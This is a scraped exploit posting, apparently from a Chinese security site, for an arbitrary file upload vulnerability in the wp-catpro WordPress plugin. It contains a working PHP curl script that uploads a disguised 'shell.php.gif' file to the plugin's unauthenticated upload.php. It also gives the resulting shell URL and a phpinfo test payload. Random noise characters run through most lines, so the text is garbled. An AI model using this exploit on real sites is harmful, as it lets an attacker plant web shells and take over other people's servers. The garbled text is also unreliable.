Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
: c/ n! j6 N9 Z7 }#-----------------------------------------------------------------------" d: U3 @: _/ y
* @' L4 q) Z: X' q, G* c; l7 h
作者 => Zikou-16
/ j9 z9 p5 z3 p, x9 k" g邮箱 => zikou16x@gmail.com% d; H& V' ]) B# Z
测试系统 : Windows 7 , Backtrack 5r3
) f) l9 w) v* {' b. j* K' g+ b下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
5 _3 c% E& H8 s$ l0 P####; Z& E! i4 A! P4 X6 L
* O: E6 m* d D4 ]#=> Exploit 信息:
. l) h9 d& j/ M5 \ O# h& Z1 j3 v/ V" [8 n------------------
# y% {( E2 y( ?# 攻击者可以上传 file/shell.php.gif: c7 ~8 T q$ [. ?% \9 o
# ("jpg", "gif", "png") // Allowed file extensions. g+ k$ ^" p9 Q" q
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)) p. e% S/ ~% f! `0 {7 D
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
( U# S$ W9 r0 b h* R------------------
3 j: Y, n) D* z' k: s7 C 1 o* ?& g' C$ }: V
#=> Exploit4 n* n- u1 o8 F* \3 p2 G2 O7 o2 i
-----------
! ~8 C5 f9 V. j; S<?php
3 E. D9 w+ `" ^9 E+ W
K3 t/ B/ N8 \7 \( }. A7 g$uploadfile="zik.php.gif";
+ r5 P& w+ {4 ^ P' T% q$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");5 e0 G7 E8 p o( e4 B* g) i
curl_setopt($ch, CURLOPT_POST, true);, {& N2 h0 G8 O7 P6 u; `% u! o1 h9 t3 L
curl_setopt($ch, CURLOPT_POSTFIELDS,
; H; A( j* h7 K/ Rarray('Filedata'=>"@$uploadfile",9 ~( ]% T. G) W# P$ x4 B5 w
'folder'=>'/wp-content/uploads/catpro/'));, m+ I0 f2 ~+ P: w: N# I0 _. ~/ Z( H
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);. N" U! U: c k9 P( y1 I9 x
$postResult = curl_exec($ch);
3 d/ D. S9 Y5 y. _. B; L7 z4 r- Ycurl_close($ch);4 ^1 h' u, d- `3 Z, _% @, Q0 m
- z1 a& y! K) x5 f5 O jprint "$postResult";
0 C; N6 `" B- @% q9 `( S
' B& {2 f- @4 S( {1 i$ P: _" kShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif* t$ ~3 S* ]9 E& F e- v7 c
?>
1 P N- ]( T# b: x<?php! @ V& g$ T# u+ _' b0 o" z
phpinfo();
6 Q! [) D1 ~5 N4 w( D) f?> |